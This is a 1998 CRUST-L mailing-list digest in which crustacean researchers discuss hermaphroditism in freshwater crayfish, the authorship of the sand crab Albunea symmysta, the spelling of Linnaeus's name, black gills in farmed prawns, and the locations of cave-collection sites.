Date: Wed, 25 Mar 1998 11:08:19 -0300 From: Ludwig Buckup Subject: Re: CRUST-L: FW Shrimps > > Hi > > I need help for some questions. > > 1. There is hermaphrodites (genus Lysmata...) in sea water shrimps. Any > such species in fresh waters? > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The colleagues Sandqvist, Wirtz and Fiedler, started a very interesting discussion about hermaphroditism in shrimps. I think I can contribute with some very new information about protandrious hermaphroditism in Parastacidae. In the neotropical species of crayfishes of the genus Parastacus we have the coexistence of male and female genital apertures in the same animal, suggesting the existence of some type of hermaphroditism. Parastacus brasiliensis and P.defossus from the southernmost State of Brazil, Rio Grande do Sul, were collected, cultivated in laboratory and dissected. The results showed that both species are sequential hermaphroditic species, of the protandrous type, since ovaries are present only in larger (older) specimen. Both testes in males and ovaries in females are connected to the respective genital apertures. Very recently the graduate student Alexandre Oliveira de Almeida in my research group, identified testes progressively transforming into ovaries in middle sized P.brasiliensis and P.defossus. The complete and final results of these investigations will be presented during the Fourth International Crustacean Congress in July 20-24,1998, in Amsterdam. Ludwig Buckup Universidade Federal do Rio Grande do Sul Porto Alegre,RS,Brasil buckup@vortex.ufrgs.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 26 Mar 1998 17:33:02 -0500 (EST) Subject: CRUST-L: lack of mail CRUSTLers, We've experienced some system difficulties over the last few days. If you haven't received crust-l mail, not to worry, things should be running smoothly again. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Tudge, Christopher"" Date: Fri, 27 Mar 1998 11:47:06 +1000 Subject: CRUST-L: Albuneid nomenclature Dear Crustophiles, I have a question to ask of the group regarding the authorship of an anomuran crab. The crab in question is the mole crab (or sand crab) Albunea symnista. It is an anomuran in the superfamily Hippoidea. I looked up a few refs. and consistently got the following authorship and species spelling- Albunea symnista (Linnaeus. 1766). But when reading a list of synonomies I saw Cancer symnista Linnaeus, 1766 and later in the same list, Cancer symmysta Linne, 1758. Surely, the latter precedes the first?? I have also seen Albunea symnysta (Linne, 1758)? Can anyone enlighten me on the correct species spelling, and the correct authorship and date, and why ""symmysta"" Linne, 1758 doesn't take precedence over ""symnista"" Linnaeus, 1766? Regards and thanks, Chris Dr Christopher Tudge Crustacean Laboratory Museum of Victoria 71 Victoria Crescent Abbotsford, Vic. 3067 Australia Ph: +61 03 9284 0236 Fax: +61 03 9416 0475 ctudge@mov.vic.gov.au "" Every sperm is sacred....every sperm is good. Every sperm is needed in your neighbourhood "" Dr Christopher Tudge Crustacean Laboratory Museum of Victoria 71 Victoria Crescent Abbotsford, Vic. 3067 Australia Ph: +61 03 9284 0236 Fax: +61 03 9416 0475 ctudge@mov.vic.gov.au "" Every sperm is sacred....every sperm is good. Every sperm is needed in your neighbourhood "" =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #128 ***************************** >From owner-crust-l Mon Mar 30 03:24:39 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id DAA21175 for crust-l-digest-outgoing; Mon, 30 Mar 1998 03:10:28 -0500 Date: Mon, 30 Mar 1998 03:10:28 -0500 Message-Id: <199803300810.DAA21175@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #129 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 3 crust-l-digest Monday, 30 March 1998 Volume 01 : Number 129 CRUST-L: Linnaeus CRUST-L: BLACK GILLS IN PRAWNS Re: CRUST-L: Linnaeus CRUST-L: Hello! CRUST-L: Re: Albuneid nomenclature Re: CRUST-L: Albuneid nomenclature CRUST-L: size-frequency modality CRUST-L: cave crusts CRUST-L: Re: Speleologists, cave locations & white elephant (?) CRUST-L: cave crusts CRUST-L: author query for biosci text ancillary (fwd) CRUST-L: Hermaphrodite discussion (FW shrimps) Re: CRUST-L: Hermaphrodite discussion (FW shrimps) CRUST-L: cave locations CRUST-L: Blind Amphipods ---------------------------------------------------------------------- From: P.Davie@mailbox.uq.edu.au Date: Fri, 27 Mar 98 11:45:41 +1000 Subject: CRUST-L: Linnaeus Hi All, In partial response to Chris Tudge's question, I would like to pose one of my own. I was recently told that Linne (with e acute) was the real spelling for Linnaeus. His students latinised his name in recognition of his authority, but as this is neither necessary nor consistent with other authors' names today, then Linne should be used in preference. Is this right? I must admit to never really having questioned it too closely before. Is there a consensus? Regards Peter - ---------------------------------------------------- P.J.F. Davie Senior Curator, Crustacea Queensland Museum P.O. Box 3300 South Brisbane. QLD 4101 Australia Ph: 61.7.38407719 Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au - ---------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: seafarm@Bigpond.com (Brian Vernon) Date: Fri, 27 Mar 1998 14:01:40 +1100 Subject: CRUST-L: BLACK GILLS IN PRAWNS Has anyone experienced cooked prawns (monodon) showing blackness in the gills and sometimes on pleopods about 24/48 hours after cooking. This is NOT blackhead which is due to undercooking, and may affect 20% of a batch of prawns(usually under 10% in an affected pond). Less than 5% of ponds harvested are affected and within affected ponds it is not the largest or the smallest that show these symptoms. The gill tissue goes grey then black; initially the underlying tissues are not affected but after 48 hours the black colour spreads to other tissue. If pleopods are affected they go grey then black, then then area between them discolours and later the colour moves into the tail meat. There are no visible symptoms before cooking. We suspect algae, possibly oscillatoria, or something which is damaging the gill tissues, maybe releasing an enzyme that causes tissue damage BEFORE cooking. We suspect the causative factor follows a drop in salinity from 30+ppt to nearer 20ppt and may be related to algal succession. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Matz Berggren"" Date: Fri, 27 Mar 1998 09:31:15 +0200 Subject: Re: CRUST-L: Linnaeus Hello all Crustlers, Being Swedish, I fully agree on Peter's comment of the ""true"" spelling of Linn=E9. That spelling comes from 1757 when he was made a nobleman and taking the name of "" von Linn=E9"" (http://www.systbot.uu.se/dept/history/linneaus.html). However, since the use of the latin form of his name as auktor goes back to the beginning or middle of 1760, it is perhaps easier to keep it as it is. Best regards, matz On 27 Mar 98 at 11:45, P.Davie@mailbox.uq.edu.au wrote: > From: P.Davie@mailbox.uq.edu.au > Date: Fri, 27 Mar 98 11:45:41 +1000 > To: CRUST-L@VIMS.EDU > Subject: CRUST-L: Linnaeus > Reply-to: P.Davie@mailbox.uq.edu.au > Hi All, > > In partial response to Chris Tudge's question, I would like to pose one = of > my own. I was recently told that Linne (with e acute) was the real > spelling for Linnaeus. His students latinised his name in recognition of > his authority, but as this is neither necessary nor consistent with othe= r > authors' names today, then Linne should be used in preference. Is this > right? I must admit to never really having questioned it too closely > before. Is there a consensus? > > Regards > Peter > > ---------------------------------------------------- > P.J.F. Davie > Senior Curator, Crustacea > Queensland Museum > P.O. Box 3300 > South Brisbane. QLD 4101 > Australia > Ph: 61.7.38407719 > Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au > ---------------------------------------------------- > > =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D > Matz Berggren MIME-compilant Marine Ecology / Goteborg University Kristineberg Marine Research Station (http://www.kmf.gu.se) S-450 34 Fiskebackskil SWEDEN Tel: +46-(0)523-18532 Fax: +46-(0)523-18503 Fax: +46-(0)523-18502 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: merinl Date: Fri, 27 Mar 1998 11:01:49 +0000 Subject: CRUST-L: Hello! Hi Crustlers! I'm looking for temperature development rates in decapod larvae, particularly brachyuran. If you know any papers in relation to this I'd really appreciate it. Thank you! leticia Merin =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Zen Faulkes"" Date: Fri, 27 Mar 1998 09:09:51 EST Subject: CRUST-L: Re: Albuneid nomenclature Hello, Christopher Tudge wrote: > I have a question to ask of the group regarding the authorship > of [snip] Albunea symnista. > > I looked up a few refs. and consistently got the following > authorship and species spelling- Albunea symnista (Linnaeus. > 1766). But when reading a list of synonomies I saw Cancer symnista > Linnaeus, 1766 and later in the same list, Cancer symmysta Linne, > 1758. Surely, the latter precedes the first?? I have also seen > Albunea symnysta (Linne, 1758)? I've noticed the same variant spellings when I was doing searches on sand crabs. Unfortunately, there is no recent review on the genus Albunea, so I can't say which is the correct species citation. Christopher B. Boyko is working on a review of sand crabs and he might have an answer to this question. But he's a list member and has probably already posted on this topic by now. :) Zen Faulkes! http://www.mcgill.ca/Biology/perspage/zfaulkes.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: cboyko@AMNH.ORG (Christopher B. Boyko) Date: Fri, 27 Mar 1998 09:45:37 -0400 Subject: Re: CRUST-L: Albuneid nomenclature Dear Chris (and other interested parties), I am currently working on a complete revision and phylogenetic analysis of the Albuneidae, so I am familiar with the question posed about the authorship of A. symmysta. I have no idea why A. symnista (sic) (L., 1767) has become so entrenched in the literature, but A. symmysta (L., 1758) does have precedence and is the correct original spelling and date of authorship. Linnaeus (1764) also listed the species as ""symmysta,"" so I must presume that a typo crept into the 1767 work (I think the date of the ""1766"" is actualy 1767). One thing to keep in mind about this species is that what has traditionally been called ""A. symmysta"" in publications and on museum specimen labels is actually a group of at least 8 taxa (perhaps more). I would recommend that the assigning of specific names to specimens be put off until my revision is completed, in order to avoid adding more confusion to this group. Because the species are closely related, it is generally not possible to tell what a particular author had in front of him/her unless the specimens are availible for re-examination. Of course, I would be happy to examine albuneid specimens and provide identification for interested parties. Here are the references regarding the above: Linnaeus, C. 1758. Systema Naturae..... 10th ed. Linnaeus, C. 1764. Museum S.R.M. Ludovicae Ulricae Reginae... Linnaeus, C. 1767. Systema Naturae..... 12th ed. Chris P.S. I prefer ""sand crabs"" to ""mole crabs"" for this family. I think of ""mole crabs"" as being Hippidae. >Dear Crustophiles, > > I have a question to ask of the group regarding the authorship >of an anomuran crab. The crab in question is the mole crab (or sand >crab) Albunea symnista. It is an anomuran in the superfamily Hippoidea. > > I looked up a few refs. and consistently got the following >authorship and species spelling- Albunea symnista (Linnaeus. >1766). > But when reading a list of synonomies I saw Cancer symnista >Linnaeus, 1766 and later in the same list, Cancer symmysta Linne, 1758. >Surely, the latter precedes the first?? I have also seen Albunea >symnysta (Linne, 1758)? > > Can anyone enlighten me on the correct species spelling, and the >correct authorship and date, and why ""symmysta"" Linne, 1758 doesn't take >precedence over ""symnista"" Linnaeus, 1766? > Christopher B. Boyko Department of Invertebrates American Museum of Natural History Central Park West @ 79th St. New York, NY 10024 (212) 769-5717 Fax: (212) 769-5783 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 27 Mar 1998 11:30:38 -0500 (EST) Subject: CRUST-L: size-frequency modality Please respond to John Twining or the list, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: jrt@pop.ansto.gov.au Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: ""Ayax R. Diaz R."" From: jrt@ansto.gov.au (John Twining) Subject: Size-frequency modality Cc: CRUST-L@vims.edu X-Mailer: Thank you, Ayax for your help with those references Well, thats a great start. Thanks for your help in the matter. In relation to my observations so far, the size-frequency data is just a part of a larger project I'm running on the river and I'm only part time on the Finniss River work so I don't know when I'll be able to concentrate on it. I'll send you something when I've had some spare time to collate the data I already have. To Crusties in general Thanks to all who sent messages to Ayax. In my decapod studies in the Finniss River (NT Australia) I have had mixed results so far in relation to size frequency distributions. Some results suggest that I am getting some shift in population size through time but it appears to be confused by the breeding/ moulting being more opportunistic than seasonal. On one hand, this latter factor is not unusual given that I am looking at a tropical species but, on the other hand, it is unusal because the river is in a monsoonal climate so there is a very significant seasonality and highly variable water quality. It may be that the time frame over which I am observing that is also causing problems. The latest information was collected at approx. one month intervals over 3.5 months from a few sites and this data suggests some modality and shifting. The larger data sets are collected from more sites but at approx annual intervals (This river is remote from my labs). The larger data sets show no consistency in modality between sites that were sampled at approximately the same time. I would appreciate any comments on aging or moult frequency that you may care to suggest. Cheers John John Twining Environment Division ANSTO PMB 1 Menai 2234 Australia +612 t: 9717 3060 f: 9717 9260 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 27 Mar 1998 15:17:46 -0500 (EST) Subject: CRUST-L: cave crusts Please respond to Wulf and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Comments: Authenticated sender is From: ""Wulf Kobusch"" To: CRUST-L@VIMS.EDU Subject: Speleologists, cave locations & white elephant (?) CC: crustacea@servidor.unam.mx Priority: normal X-mailer: Pegasus Mail for Windows (v2.53/R1) Hello CRUSTLers, May be that some speleologists among you can help me with the following peculiar problem: I have some cave crustaceans here from the following locations: 1) Shimoni Caves 2.a) Morgan's Cave & b) Cueva Elefanta Blanco, Isla San Andres This is all information I have about the locations. In my International Atlas (Rand McNally) I could not find THIS ""Isla San Andres"": where is this Island ? Morgan's Cave and the Cueva Elefanta Blanco are on this Island (?) [by the way, is this right, the name is: the ""cave of the white elephant""??? ] What is the location of the ""Shimoni Caves"" ? I just want to complete a table with ""material"" with more details, i.e. names of the countries. So I would be very grateful if you could give me some hints. Best regards Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Lucho ChG"" Date: Fri, 27 Mar 1998 19:38:39 EST Subject: CRUST-L: Re: Speleologists, cave locations & white elephant (?) Wulf asked: I have some cave crustaceans here from the following locations: 1) Shimoni Caves 2.a) Morgan's Cave & b) Cueva Elefanta Blanco, Isla San Andres This is all information I have about the locations. Re.-- If my geography doesn't play tricks because Andres is a very common toponymical spanish name... I think it should be the Caribbean Colombian island offshore Nicaragua... a well known low budget stopover for birds and humans on their way to South America then you asked: ""Isla San Andres"": where is this Island ? Morgan's Cave and the Cueva Elefanta Blanco are on this Island (?) [by the way, is this right, the name is: the ""cave of the white elephant""??? ] Re.-- now I know is that island for sure. nowmabout the questions.. If your spelling is right, which I doubt... is ""the cave of the white female elephant"". la cueva de Morgan is an underwater cave located on the western side of the island south of town. salu2, Lucho> ********************************************************************** Luis Chirino-Galvez Phone (330) 672-2041 Department of Geology Fax (330) 672-7949 Kent State University E-mail Lchirino@geology.kent.edu Kent, OH 44242 lchirino@kentvm.kent.edu ********************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Fri, 27 Mar 1998 20:40:04 -0600 Subject: CRUST-L: cave crusts Wulf, Oxford Atlas of the World, 2nd Edition, pg 148 coordinate D-3: I. de San Andres (Colombia) In the Caribbean, off the Nicaraguan coast. I can actually get to this book, wow. The question is, how many I. de San Andres are there in the world? Does this location make any sense? No Shimoni Caves listed, but there is a town of Shimoni shown in Kenya-on the coast, just north of the border with Tanzania. Again, no clue if this has any relation to your Shimoni. Phil Not a speleologist, but frequently in the dark. > >May be that some speleologists among you can help me with the >following peculiar problem: > >I have some cave crustaceans here from the following >locations: >1) Shimoni Caves >2.a) Morgan's Cave & b) Cueva Elefanta Blanco, Isla San Andres >This is all information I have about the locations. >In my International Atlas (Rand McNally) I could not find THIS >""Isla San Andres"": where is this Island ? Morgan's Cave and the Cueva >Elefanta Blanco are on this Island (?) [by the way, is this right, >the name is: the ""cave of the white elephant""??? ] >What is the location of the ""Shimoni Caves"" ? >I just want to complete a table with ""material"" with more details, >i.e. names of the countries. So I would be very grateful if you could >give me some hints. > >Best regards > >Wulf > >*********************************************************** >Wulf Kobusch >Ruhr Universitaet Bochum >Lehrstuhl fuer Spezielle Zoologie >Gebaeude ND 05 / 776 >Universitaetsstrasse 150 >44801 Bochum >GERMANY > >phone: +49/(0)234-700-5577 or -4563 >fax: +49/(0)234-7094-114 >e-mail: wulf.c.kobusch@ruhr-uni-bochum.de > >*********************************************************** > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sat, 28 Mar 1998 08:16:52 -0500 (EST) Subject: CRUST-L: author query for biosci text ancillary (fwd) Please respond to Valerie Lipow directly. Thanks, Jeff - ---------- Forwarded message ---------- Date: Fri, 27 Mar 1998 17:50:51 EST From: Val Lipow Subject: author query for biosci text ancillary Hello, I obtained your email address from a biosci listserv master list on the WWW. Please forgive any unwelcome intrusion. My name is Valerie Lipow. I am a freelance writer and career counselor in Colorado (USA). I am researching the interest in the community of science educators for ancillary materials for introductory high school and college level textbooks in the biological sciences. I have been asked to do this for a textbook publisher in the US. In particular, I am interested in answers to questions below. I wonder if you would be willing to post these questions (either abstracted, or by forwarding this message to your biosci discussion lists) to your colleagues. What type of ancillaries (i.e., what content) would biosci educators like to see available with the texts they use in their classes? For example, an ancillary product describing career opportunities for students of biological sciences is one topic; are there others? What course(s) would the ancillary be used to support? If you would like to see articles I have written on the topic of career information for students of biological sciences, please feel free to visit these web sites: http://www.mhhe.com/biosci/pae/zoology/featarticle/immuno.mhtml http://www.mhhe.com/biosci/pae/zoology/featarticle/animalbehave.mhtml If you feel it is appropriate to pass this request on to your colleagues, please encourage them to contact me off-list. I'm happy to discuss this work with anyone who is interested in additional information. Thanks for reading this unsolicited message. If there are other associations or organizations I could approach to explore this idea, please let me know! Regards, Valerie A. Lipow, M.S. Freelance Writer Nationally Certified Career Counselor 597 Creekside Ct. Grand Junction, CO 81503-1067 VOICE: (970) 242-4413 FAX: (970) 256-9296 ValLipow@aol.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Isam Date: Sun, 29 Mar 1998 11:21:23 +0300 Subject: CRUST-L: Hermaphrodite discussion (FW shrimps) The discussion about hermaphroditism is very interesting to me. We have = published an article in the 1998 McGRAW-HILL yearbook of Scince and = Technology in which we have described a case of nonfunctional = hermaphroditism in the crayfish Cherax quadricarinatus. Medley and = Rouse 1993 have described cases in this crayfish with both male and = female openings. internally some of this intersex individuals have an = ovary and testis. We have found that this is nonfunctional = hermaphroditism, function as male but never as females. Differently, = Rudolph 1995 have published a paper which describe a case of true- = hermaphroditism in the crayfish Parastacus nicoleti=20 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Sat, 28 Mar 1998 23:01:50 -1000 Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) Unfortunately, most of your post didn't come through. Can you post it in a different format? Thanks, Curt On Sat, 28 Mar 1998, Isam wrote: > The discussion about hermaphroditism is very interesting to me. We have published an article in the 1998 McGRAW-HILL yearbook of Scince and Technology in which we have described a case of nonfunctional hermaphroditism in the crayfish Cherax quadricarinatus. Medley and Rouse 1993 have described cases in this crayfish with both male and female openings. internally some of this intersex individuals have an ovary and testis. We have found that this is nonfunctional hermaphroditism, function as male but G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Wulf Kobusch"" Date: Mon, 30 Mar 1998 09:59:42 +0000 Subject: CRUST-L: cave locations Dear CRUSTLers, thanks to all of you who gave helpful hints, finding the Shimoni Caves and Isla San Andres (with Morgans Cave and the Cueva Elefanto Blanco). Now I know the locations and - thanks to the internet - I can also see some pictures. Consequently, next time I actually have to refuse the sending of material and insist of visiting these islands myself. You will agree if you have a look at some links: 1) Shimoni Caves: Nzombo Hills, Chala Paradise Island, Kenya http://www.safariweb.com/technical.study.tours/advent.htm#shimoni 2.a) Morgan's Cave; Isla San Andres, Caribbean Sea, Colombia, (it belongs to Colombia, although it is aprox. 81,5 =B0 W and 12,5 =B0 N about 150 Km east of the coast of Nicaragua) http://www.iep.com/sanandres-history.html & b) Cueva Elefanta Blanco, Isla San Andres http://www.iep.com/san3san.html#Descripsan http://www.solmelia.es/cgi-bin/dirdinamic/hotelhtml?45867 http://www.solmelia.es/cgi-bin/frame/frame?http://colombiaemb.org/tourist/= sa na.html Thanks 